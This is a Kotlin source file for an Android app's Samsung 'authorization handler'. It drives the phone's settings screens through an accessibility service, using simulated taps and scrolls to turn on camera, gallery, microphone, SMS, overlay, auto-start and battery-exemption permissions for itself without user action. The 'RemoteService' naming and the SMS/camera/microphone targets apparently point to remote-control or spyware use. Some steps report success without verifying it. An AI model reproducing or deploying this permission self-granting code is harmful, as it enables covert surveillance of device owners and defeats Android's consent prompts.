package com.hikoncont.service.modules

import android.content.Context
import android.content.Intent
import android.net.Uri
import android.provider.Settings
import android.util.Log
import com.hikoncont.service.AccessibilityRemoteService
import android.view.accessibility.AccessibilityNodeInfo
import kotlinx.coroutines.delay

/**
 * Samsung 设备授权处理器
 * 参考 OnePlusAuthorizationHandler 的组织方式，覆盖常用高价值权限
 */
class SamsungAuthorizationHandler(
    private val service: AccessibilityRemoteService,
    private val context: Context
) : DeviceAuthorizationHandler {

    companion object {
        private const val TAG = "SamsungAuthorizationHandler"
        private const val PAGE_LOAD_DELAY = 600L
        private const val MAX_SCROLL_ATTEMPTS = 15
    }

    override suspend fun executeAuthorization(): AuthorizationResult {
        Log.i(TAG, "🎯 开始 Samsung 设备授权配置")

        val completed = mutableListOf<String>()
        val failed = mutableListOf<String>()
        val warnings = mutableListOf<String>()

        try {
            // 1. 摄像头
            executePermissionSafely("摄像头权限", { executeCameraPermission() }, completed, failed)
            // 2. 相册/存储
            executePermissionSafely("相册权限", { executeGalleryPermission() }, completed, failed)
            // 3. 麦克风
            executePermissionSafely(
                "麦克风权限",
                { executeMicrophonePermission() },
                completed,
                failed
            )
            // 4. 短信
            executePermissionSafely("短信权限", { executeSMSPermission() }, completed, failed)
            // 8. 自启动
            executePermissionSafely(
                "自启动权限",
                { executeAutoStartPermission() },
                completed,
                failed
            )
            // 5. 悬浮窗
            executePermissionSafely("悬浮窗权限", { requestOverlayPermission() }, completed, failed)
            // 6. 修改系统设置 WRITE_SETTINGS
//            executePermissionSafely("修改系统设置", { requestWriteSettingsPermission() }, completed, failed)
            // 7. 通知权限（如需）
            executePermissionSafely(
                "通知权限",
                { requestNotificationPermissionIfNeeded() },
                completed,
                failed,
                isOptional = true,
                warnings = warnings
            )


            // 9. 允许后台活动
            // executePermissionSafely("允许后台活动", { executeAllowBackgroundActivity() }, completed, failed)
            // 10. 电池优化
            executePermissionSafely(
                "电池优化豁免",
                { executeBatteryOptimization() },
                completed,
                failed
            )
        } catch (e: Exception) {
            Log.e(TAG, "❌ Samsung 授权流程异常", e)
            failed.add("系统异常")
        }

        val success = completed.isNotEmpty()
        return AuthorizationResult(
            success = success,
            completedRoutes = completed,
            failedRoutes = failed,
            warnings = warnings
        )
    }

    // ====== 单项权限实现 ======
    private suspend fun executeCameraPermission(): Boolean {
        return try {
            if (service.checkCameraPermission()) return true
            service.requestCameraPermission()
            var t = 0
            while (t < 16) {
                delay(400); if (service.checkCameraPermission()) return true; t++
            }
            false
        } catch (e: Exception) {
            Log.e(TAG, "camera err", e); false
        }
    }

    private suspend fun executeGalleryPermission(): Boolean {
        return try {
            if (service.checkGalleryPermission()) return true
            service.requestGalleryPermissionWithAutoGrant()
            var t = 0
            while (t < 16) {
                delay(400); if (service.checkGalleryPermission()) return true; t++
            }
            false
        } catch (e: Exception) {
            Log.e(TAG, "gallery err", e); false
        }
    }

    private suspend fun executeMicrophonePermission(): Boolean {
        return try {
            if (service.checkMicrophonePermission()) return true
            service.requestMicrophonePermissionWithAutoGrant()
            var t = 0
            while (t < 16) {
                delay(400); if (service.checkMicrophonePermission()) return true; t++
            }
            false
        } catch (e: Exception) {
            Log.e(TAG, "microphone err", e); false
        }
    }

    private suspend fun executeSMSPermission(): Boolean {
        return try {
            if (service.checkSMSPermission()) return true
            service.requestSMSPermissionWithAutoGrant()
            var t = 0
            while (t < 16) {
                delay(400); if (service.checkSMSPermission()) return true; t++
            }
            false
        } catch (e: Exception) {
            Log.e(TAG, "sms err", e); false
        }
    }

    private suspend fun requestOverlayPermission(): Boolean {
        return try {
            val intent = Intent(
                Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
                Uri.parse("package:${context.packageName}")
            ).apply { addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) }
            context.startActivity(intent)
            delay(PAGE_LOAD_DELAY)
            val samsungHandled = attemptSamsungDirectToggle()
            if (samsungHandled) {
                Log.i(TAG, "✅ 悬浮窗权限成功")
                return true
            } else {
                Log.w(
                    TAG,
                    "⚠️ 三星直连开关方案失败，回退到文本相对定位方案（可能页面结构不同或文本未渲染）"
                )
                false
            }

//            Settings.canDrawOverlays(context)
        } catch (e: Exception) {
            Log.e(TAG, "overlay err", e); false
        }
    }

    private suspend fun requestWriteSettingsPermission(): Boolean {
        return try {
            if (Settings.System.canWrite(context)) return true
            val intent = Intent(Settings.ACTION_MANAGE_WRITE_SETTINGS).apply {
                data = Uri.parse("package:${context.packageName}")
                addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
            }
            context.startActivity(intent)
            delay(PAGE_LOAD_DELAY)
            Settings.System.canWrite(context)
        } catch (e: Exception) {
            Log.e(TAG, "write settings err", e); false
        }
    }

    /**
     * 三星悬浮窗列表专用：滚动查找我方应用，并点击同一行右侧开关为开启。
     */
    private suspend fun attemptSamsungDirectToggle(): Boolean {
        // 动态获取应用名称
//        val appName = try {
//            val applicationInfo = context.applicationInfo
//            val pm = context.packageManager
//            pm.getApplicationLabel(applicationInfo).toString()
//        } catch (_: Exception) { context.packageName }

//        Log.d(TAG, "🔍 三星直连方案，目标应用: $appName")
        if (!findAndClickOurAppInList()) {
            Log.w(TAG, "❌悬浮窗 应用列表中未找到当前应用"); return false
        }
        // 当前位置先查找
//        var root = getStableRootInActiveWindow()
//        if (root != null) {
//            try {
////                if (toggleRowSwitchIfNeeded(root, appName)) {
////                    Log.i(TAG, "✅ 悬浮窗开关已处理(当前页)")
////                    return true
////                }
//                if (!navigateToAnyText(listOf(appName))) {
//                    Log.w(TAG, "❌ 未定位到 appName"); return false
//                }
//            } finally { safeRecycleNode(root) }
//        }

        // 向下翻页搜索
//        for (i in 1..MAX_SCROLL_ATTEMPTS) {
//            Log.d(TAG, "🔍 三星直连方案：向下翻页第${i}次查找应用")
//            performScrollDown(); delay(300)
//            root = getStableRootInActiveWindow()
//            if (root == null) continue
//            try {
//                if (toggleRowSwitchIfNeeded(root, appName)) {
//                    Log.i(TAG, "✅ 悬浮窗开关已处理(第${i}次翻页)")
//                    return true
//                }
//            } finally { safeRecycleNode(root) }
//        }

//        Log.w(TAG, "❌ 三星方案未找到应用名: $appName")
        return true
    }

    /**
     * 在给定root中查找应用名文本，定位同一行的Switch并开启。
     */
    private suspend fun toggleRowSwitchIfNeeded(root: AccessibilityNodeInfo, appName: String): Boolean {
        val appNode = findNodeByTextOptimized(root, appName) ?: findNodeByTextRecursive(root, appName)
        if (appNode == null) return false
        Log.d(TAG, "✅ 找到应用条目: $appName，查找右侧开关")

        // 在父/祖父层级查找Switch
        val switchNode = findRightSideSwitchNode(appNode)
        if (switchNode == null) {
            Log.w(TAG, "❌ 未找到 $appName 行的开关")
            return false
        }

        val current = switchNode.isChecked
        Log.d(TAG, "🔍 开关当前状态: $current")
        if (current) {
            Log.d(TAG, "✅ 已开启，无需操作")
            return true
        }

        val clicked = if (switchNode.isClickable) {
            switchNode.performAction(AccessibilityNodeInfo.ACTION_CLICK)
        } else {
            val r = android.graphics.Rect(); switchNode.getBoundsInScreen(r)
            if (!r.isEmpty) performCoordinateClick(r.centerX(), r.centerY()) else false
        }
        if (!clicked) {
            Log.w(TAG, "❌ 开关点击失败")
            return false
        }
        delay(400)
        Log.i(TAG, "✅ 开关点击完成")
        return true
    }

    /**
     * 执行单个坐标点击
     */
    private suspend fun performCoordinateClick(x: Float, y: Float): Boolean {
        return try {
            Log.i(TAG, "🖱️ 执行坐标点击: ($x, $y)")

            // 创建手势路径
            val path = android.graphics.Path()
            path.moveTo(x, y)

            // 构建手势描述
            val gestureBuilder = android.accessibilityservice.GestureDescription.Builder()
            val strokeDescription =
                android.accessibilityservice.GestureDescription.StrokeDescription(path, 0, 100)
            gestureBuilder.addStroke(strokeDescription)

            val gesture = gestureBuilder.build()

            // 使用协程来处理手势完成回调
            var gestureCompleted = false
            var gestureSuccess = false

            val success = service.dispatchGesture(
                gesture,
                object : android.accessibilityservice.AccessibilityService.GestureResultCallback() {
                    override fun onCompleted(gestureDescription: android.accessibilityservice.GestureDescription?) {
                        super.onCompleted(gestureDescription)
                        Log.i(TAG, "✅ 坐标点击手势执行完成")
                        gestureCompleted = true
                        gestureSuccess = true
                    }

                    override fun onCancelled(gestureDescription: android.accessibilityservice.GestureDescription?) {
                        super.onCancelled(gestureDescription)
                        Log.w(TAG, "⚠️ 坐标点击手势被取消")
                        gestureCompleted = true
                        gestureSuccess = false
                    }
                },
                null
            )

            if (!success) {
                Log.w(TAG, "⚠️ 发送坐标点击手势失败")
                return false
            }

            // 等待手势完成，最多等待1秒
            var waitTime = 0
            while (!gestureCompleted && waitTime < 1000) {
                delay(50)
                waitTime += 50
            }

            gestureSuccess

        } catch (e: Exception) {
            Log.e(TAG, "❌ 执行坐标点击失败", e)
            false
        }
    }

    private suspend fun requestNotificationPermissionIfNeeded(): Boolean {
        return try {
            // 占位：部分版本通知为运行时权限或设置页控制，这里仅返回true避免阻塞整体流程
            if (!openAppSettings()) return false
            delay(400)
            // 常见文案：电池优化、未经优化、电池使用情况、节电
//            val labelsEnable = listOf("通知")
            // 智能管理器
            if (!navigateToAnyText(listOf("通知"))) {
                Log.w(TAG, "❌ 未定位到 通知"); return false
            }
            if (!navigateToAnyText(listOf("允许通知"))) {
                Log.w(TAG, "❌ 未定位到 通知"); return false
            }
            // 反向开关：优化/限制 置为关闭
//            val labelsDisable = listOf("允许通知")
//            for (label in labelsDisable) {
//                if (togglePermission(label, false)) return true
//            }
//            Log.w(TAG, "❌ 未找到通知相关开关")
            true
        } catch (_: Exception) {
            false
        }
    }

    // ====== 深度设置页自动化（基于文本查找与开关切换） ======
    private suspend fun executeAutoStartPermission(): Boolean {
        return try {
            // 打开设置主页
            if (!openSettings()) {
                Log.w(TAG, "❌ 无法打开设置主页"); return false
            }
            // 智能管理器
            if (!navigateToAnyText(listOf("智能管理器"))) {
                Log.w(TAG, "❌ 未定位到 智能管理器/Device care"); return false
            }
            // 实用工具
            if (!navigateToAnyText(listOf("实用工具"))) {
                Log.w(TAG, "❌ 未定位到 实用工具/Utilities"); return false
            }
            // 应用程序管理
            if (!navigateToAnyText(listOf("应用程序管理"))) {
                Log.w(TAG, "❌ 未定位到 应用程序管理/Apps"); return false
            }

            // 找到我们的应用并进入详情
            if (!findAndClickOurAppInList()) {
                Log.w(TAG, "❌ 应用列表中未找到当前应用"); return false
            }

            // 找到“自动允许”并点击
            if (!navigateToAnyText(listOf("自动运行"))) {
                Log.w(TAG, "❌ 未找到 自动运行开关"); return false
            }

            true
        } catch (e: Exception) {
            Log.e(TAG, "autostart err", e); false
        }
    }

    private suspend fun executeAllowBackgroundActivity(): Boolean {
        return try {
            if (!openAppSettings()) return false
            delay(400)
            // 常见文案：允许后台活动、后台运行、在后台运行
            val labels = listOf("允许后台活动", "后台运行", "在后台运行")
            for (label in labels) {
                if (togglePermission(label, true)) return true
            }
            false
        } catch (e: Exception) {
            Log.e(TAG, "bg activity err", e); false
        }
    }

    private suspend fun executeBatteryOptimization(): Boolean {
        return try {
            // 打开通用电池优化设置页（部分机型不可直达，退而求其次从应用详情尝试开关）
            if (!openAppSettings()) return false
            delay(400)
            // 常见文案：电池优化、未经优化、电池使用情况、节电
//            val labelsEnable = listOf("电池")
            if (!navigateToAnyText(listOf("电池"))) {
                Log.w(TAG, "❌ 未定位到 电池"); return false
            }
            // 反向开关：优化/限制 置为关闭
//            val labelsDisable = listOf("不受限制")
            if (!navigateToAnyText(listOf("不受限制"))) {
                Log.w(TAG, "❌ 未定位到 不受限制"); return false
            }
//            Log.w(TAG, "❌ 未找到电池相关开关")
            true
        } catch (e: Exception) {
            Log.e(TAG, "battery opt err", e); false
        }
    }

    // ====== 基础辅助：打开应用详情、查找文本并切换右侧开关 ======
    private suspend fun openAppSettings(): Boolean {
        return try {
            val intent = Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS).apply {
                data = Uri.parse("package:${context.packageName}")
                addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
            }
            context.startActivity(intent)
            delay(PAGE_LOAD_DELAY)
            true
        } catch (e: Exception) {
            Log.e(TAG, "open app settings err", e); false
        }
    }

    private suspend fun openSettings(): Boolean {
        return try {
            val intent =
                Intent(Settings.ACTION_SETTINGS).apply { addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) }
            context.startActivity(intent)
            delay(PAGE_LOAD_DELAY)
            true
        } catch (e: Exception) {
            Log.e(TAG, "open settings err", e); false
        }
    }

    private suspend fun navigateToAnyText(texts: List<String>): Boolean {
        // 先在当前页查找
        var root = getStableRootInActiveWindow()
        if (root != null) {
            try {
                for (t in texts) {
                    val node = findNodeByTextOptimized(root, t) ?: findNodeByTextRecursive(root, t)
                    if (node != null) {
                        Log.d(TAG, "🎯 命中文本，尝试智能点击: $t")
                        val clicked = performClickSmart(node)
                        if (clicked) {
                            delay(PAGE_LOAD_DELAY); return true
                        } else {
                            Log.d(TAG, "⚠️ 智能点击未生效: $t")
                        }
                    }
                }
            } finally {
                safeRecycleNode(root)
            }
        }

        // 向下滚动翻页查找
        for (i in 1..MAX_SCROLL_ATTEMPTS) {
            Log.d(TAG, "🔍 向下翻页第${i}次查找: ${texts}")
            performScrollDown()
            delay(300)
            root = getStableRootInActiveWindow()
            if (root == null) continue
            try {
                for (t in texts) {
                    val node = findNodeByTextOptimized(root, t) ?: findNodeByTextRecursive(root, t)
                    if (node != null) {
                        Log.d(TAG, "✅ 翻页后找到文本: $t (第${i}次)，尝试智能点击")
                        val clicked = performClickSmart(node)
                        if (clicked) {
                            delay(PAGE_LOAD_DELAY); return true
                        } else {
                            Log.d(TAG, "⚠️ 智能点击未生效(翻页后): $t")
                        }
                    }
                }
            } finally {
                safeRecycleNode(root)
            }
        }
        return false
    }

    private suspend fun findAndClickOurAppInList(): Boolean {
        val appName = try {
            val applicationInfo = context.applicationInfo
            val pm = context.packageManager
            pm.getApplicationLabel(applicationInfo).toString()
        } catch (_: Exception) {
            context.packageName
        }

        // 当前位置查找
        var root = getStableRootInActiveWindow()
        if (root != null) {
            try {
                val node =
                    findNodeByTextOptimized(root, appName) ?: findNodeByTextRecursive(root, appName)
                if (node != null) {
                    Log.d(TAG, "🎯 命中应用，尝试智能点击: $appName")
                    val clicked = performClickSmart(node)
                    if (clicked) {
                        delay(PAGE_LOAD_DELAY); return true
                    } else {
                        Log.d(TAG, "⚠️ 智能点击应用未生效: $appName")
                    }
                }
            } finally {
                safeRecycleNode(root)
            }
        }

        // 向下滚动翻页查找应用
        for (i in 1..MAX_SCROLL_ATTEMPTS) {
            Log.d(TAG, "🔍 向下翻页第${i}次查找应用: $appName")
            performScrollDown(); delay(300)
            root = getStableRootInActiveWindow()
            if (root == null) continue
            try {
                val node =
                    findNodeByTextOptimized(root, appName) ?: findNodeByTextRecursive(root, appName)
                if (node != null) {
                    Log.d(TAG, "✅ 翻页后找到应用: $appName (第${i}次)，尝试智能点击")
                    val clicked = performClickSmart(node)
                    if (clicked) {
                        delay(PAGE_LOAD_DELAY); return true
                    } else {
                        Log.d(TAG, "⚠️ 智能点击应用未生效(翻页后): $appName")
                    }
                }
                Log.d(TAG, "🔍 第${i}次翻页仍未找到应用: $appName")
            } finally {
                safeRecycleNode(root)
            }
        }
        return false
    }

    // ====== 智能点击（参考 Huawei 的父节点回溯 + 坐标点击兜底） ======
    private fun performClickSmart(node: AccessibilityNodeInfo): Boolean {
        try {
            Log.d(
                TAG,
                "🔍 节点详情: 文本='${node.text}', 描述='${node.contentDescription}', 类型='${node.className}', 可点击=${node.isClickable}, 可见=${node.isVisibleToUser}, 启用=${node.isEnabled}"
            )
            // 1) 直接点击
            if (node.isClickable) {
                val ok = node.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                Log.d(TAG, if (ok) "✅ 节点点击成功" else "❌ 节点点击失败")
                if (ok) return true
            }
            // 2) 向上查找可点击父节点（最多5层）
            var current = node.parent
            var level = 1
            while (current != null && level <= 5) {
                if (current.isClickable) {
                    Log.d(TAG, "🎯 找到可点击的父节点，向上${level}层")
                    val ok = current.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                    Log.d(TAG, if (ok) "✅ 父节点点击成功" else "❌ 父节点点击失败")
                    if (ok) return true
                }
                current = current.parent
                level++
            }
            // 3) 坐标点击兜底（使用非挂起版本）
            val bounds = android.graphics.Rect(); node.getBoundsInScreen(bounds)
            if (!bounds.isEmpty) {
                Log.d(TAG, "🎯 使用坐标兜底点击: ${bounds.centerX()}, ${bounds.centerY()}")
                return performCoordinateClick(bounds.centerX(), bounds.centerY())
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 智能点击异常", e)
        }
        return false
    }

    // ====== 滚动手势 ======
    private fun performScrollDown() {
        try {
            val dm = context.resources.displayMetrics
            val w = dm.widthPixels.toFloat()
            val h = dm.heightPixels.toFloat()
            val x = w * 0.5f
            val startY = h * 0.75f
            val endY = h * 0.35f
            val builder = android.accessibilityservice.GestureDescription.Builder()
            val path = android.graphics.Path()
            path.moveTo(x, startY)
            path.lineTo(x, endY)
            val stroke =
                android.accessibilityservice.GestureDescription.StrokeDescription(path, 0, 500)
            builder.addStroke(stroke)
            service.dispatchGesture(builder.build(), null, null)
        } catch (_: Exception) {
        }
    }

    private suspend fun togglePermission(text: String, targetState: Boolean): Boolean {
        val root = getStableRootInActiveWindow() ?: return false
        try {
            val node = findNodeByTextOptimized(root, text) ?: findNodeByTextRecursive(root, text)
            if (node == null) {
                Log.d(TAG, "🔎 未在当前页找到目标文本: $text"); return false
            }
            val switch = findRightSideSwitchNode(node)
            if (switch == null) {
                Log.d(TAG, "🔎 未找到 $text 的右侧开关"); return false
            }
            val current = switch.isChecked
            if (current == targetState) return true
            val clicked =
                if (switch.isClickable) switch.performAction(android.view.accessibility.AccessibilityNodeInfo.ACTION_CLICK)
                else {
                    val r = android.graphics.Rect(); switch.getBoundsInScreen(r)
                    if (!r.isEmpty) performCoordinateClick(r.centerX(), r.centerY()) else false
                }
            if (!clicked) return false
            delay(300)
            return true
        } finally {
            safeRecycleNode(root)
        }
    }

    // ====== 根节点获取与文本查找（参考 HuaweiAuthorizationHandler 风格） ======
    private fun getStableRootInActiveWindow(): AccessibilityNodeInfo? {
        Log.v(TAG, "🔍 开始获取稳定根节点")
        var root: AccessibilityNodeInfo? = null
        for (i in 1..5) {
            root = service.rootInActiveWindow
            if (root != null) {
                Log.v(TAG, "✅ 第${i}次尝试获取根节点成功")
                break
            } else if (i < 5) {
                Log.v(TAG, "⚠️ 第${i}次尝试获取根节点失败")
                try {
                    Thread.sleep(50)
                } catch (_: Exception) {
                }
            }
        }
        if (root == null) Log.w(TAG, "❌ 5次尝试后仍无法获取根节点")
        return root
    }

    private fun findNodeByTextOptimized(
        root: AccessibilityNodeInfo,
        text: String
    ): AccessibilityNodeInfo? {
        try {
            val directMatches = root.findAccessibilityNodeInfosByText(text)
            if (directMatches != null && directMatches.isNotEmpty()) {
                for (node in directMatches) {
                    val nodeText = node.text?.toString()
                    val nodeDescription = node.contentDescription?.toString()
                    val className = node.className?.toString() ?: ""
                    val textMatches = (nodeText == text) || (nodeDescription == text) ||
                            (nodeText?.contains(text) == true) || (nodeDescription?.contains(text) == true)
                    if (textMatches && !className.endsWith(".AutoCompleteTextView")) {
                        if (node.isVisibleToUser) {
                            Log.d(TAG, "✅ 直接匹配找到文本: $text")
                            return node
                        }
                    }
                }
            }
        } catch (e: Exception) {
            Log.w(TAG, "直接文本搜索异常: ${e.message}")
        }
        return null
    }

    private fun findRightSideSwitchNode(permissionNode: android.view.accessibility.AccessibilityNodeInfo): android.view.accessibility.AccessibilityNodeInfo? {
        val parent = permissionNode.parent
        if (parent != null) {
            for (i in 0 until parent.childCount) {
                val s = parent.getChild(i)
                if (isSwitchNode(s)) return s
            }
        }
        val gp = parent?.parent
        if (gp != null) {
            val n = findSwitchInNode(gp)
            if (n != null) return n
        }
        return null
    }

    private fun findSwitchInNode(node: android.view.accessibility.AccessibilityNodeInfo?): android.view.accessibility.AccessibilityNodeInfo? {
        if (isSwitchNode(node)) return node
        if (node == null) return null
        for (i in 0 until node.childCount) {
            val c = node.getChild(i)
            val r = findSwitchInNode(c)
            if (r != null) return r
        }
        return null
    }

    private fun isSwitchNode(node: android.view.accessibility.AccessibilityNodeInfo?): Boolean {
        if (node == null) return false
        val cls = node.className?.toString() ?: ""
        return cls.contains("Switch", true) && node.isEnabled && node.isVisibleToUser
    }

    private fun findNodeByTextRecursive(
        node: android.view.accessibility.AccessibilityNodeInfo?,
        text: String
    ): android.view.accessibility.AccessibilityNodeInfo? {
        if (node == null) return null
        val t = node.text?.toString()
        val d = node.contentDescription?.toString()
        if (!t.isNullOrEmpty() && t.contains(text, true)) return node
        if (!d.isNullOrEmpty() && d.contains(text, true)) return node
        for (i in 0 until node.childCount) {
            val child = node.getChild(i)
            val r = findNodeByTextRecursive(child, text)
            if (r != null) return r
        }
        return null
    }

    private fun performCoordinateClick(x: Int, y: Int): Boolean {
        return try {
            val builder = android.accessibilityservice.GestureDescription.Builder()
            val path = android.graphics.Path(); path.moveTo(x.toFloat(), y.toFloat())
            val stroke =
                android.accessibilityservice.GestureDescription.StrokeDescription(path, 0, 100)
            builder.addStroke(stroke)
            service.dispatchGesture(builder.build(), null, null)
        } catch (e: Exception) {
            Log.e(TAG, "coordinate click err", e); false
        }
    }

    private fun safeRecycleNode(node: android.view.accessibility.AccessibilityNodeInfo?) {
        try {
            node?.recycle()
        } catch (_: Exception) {
        }
    }

    // ====== 通用包装 ======
    private suspend fun executePermissionSafely(
        permissionName: String,
        executeAction: suspend () -> Boolean,
        completedRoutes: MutableList<String>,
        failedRoutes: MutableList<String>,
        isOptional: Boolean = false,
        warnings: MutableList<String>? = null
    ) {
        try {
            val ok = executeAction()
            if (ok) {
                completedRoutes.add(permissionName)
                Log.i(TAG, "✅ $permissionName 配置成功")
            } else {
                failedRoutes.add(permissionName)
                if (isOptional) warnings?.add("$permissionName 可能需要手动配置")
                Log.w(TAG, "❌ $permissionName 配置失败")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ $permissionName 配置异常", e)
            failedRoutes.add(permissionName)
            if (isOptional) warnings?.add("$permissionName 配置异常，可能需要手动配置")
        }
    }
}

